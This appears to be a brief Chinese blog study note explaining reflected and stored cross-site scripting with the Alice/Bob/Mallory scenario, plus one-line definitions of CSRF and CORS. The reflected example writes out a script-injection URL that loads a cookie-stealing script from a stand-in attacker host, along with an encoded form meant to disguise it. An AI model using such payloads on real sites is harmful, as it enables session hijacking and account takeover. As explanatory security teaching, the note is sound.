20 Nov 2018
XSS
Cross-site scripting(XSS)
分类:
- non-persistent
- persistent
Non-persistent(reflected)
比较常见的是在HTTP查询参数里面,服务器脚本立马解析并展示结果到客户端,而没有经过合适的sanitize.
举个例子:
- Alice经常访问Bob的网站,该网站允许Alice通过用户名和密码进行登录,并且存储敏感的数据。当用户登录的时候,浏览器会存储一个Authorization Cookie。
- Mallory发现Bob的网站有个reflected XSS 漏洞——
http://bobssite.org?q=her search term
, 当她提交一个异常请求http://bobssite.org?q=<script type='text/javascript'>alert('xss');</script>
,返回的结果是<script type='text/javascript'>alert('xss');</script> not found
,并且弹出一个alert框。 - 所以她决定提交异常的请求,
http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>
,她可以通过ASCII编码,使肉眼不能立马识别http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
- 她发送邮件给Alice,链接说“Check out some cute puppies!”,Alice点击该链接,跳转到Bob的网站,返回说“puppies not found”,然后脚本开始运行,脚本在Alice的浏览器上运行,就好像它 originated from Bob的网站,偷取Alice的Authorization Cookie,然后发送到Mallory的服务器。
- Mallory利用Alice的认证信息,到Bob的网站假装是Alice进行各种操作。
Persistent(or stored)
举个例子:一个约会网站,可以浏览其他member的profile,为了隐私保护,网站隐藏了每个人的真实姓名和邮箱,只有当member登录了之后才能看到自己的真实姓名和邮箱。Mallory作为attacker,她写了一个脚本,该脚本会在其他人访问自己的profile时运行,获取到真实的姓名和邮箱后发送给自己。比如说,对于问题“描述你理想的第一次约会”,Mallory给出了一个简单的回答,在后面附加了自己的那段脚本代码。Bob,访问Mallory的profile,上面有她关于第一次约会的回答,脚本就会自动运行,然后copy Bob的真实姓名和邮箱。
CSRF & CORS
-
CSRF - Cross-Site Request Forgery - 跨站请求伪造
-
CORS - Cross Origin Resourse-Sharing - 跨站资源共享
Til next time,
at 09:42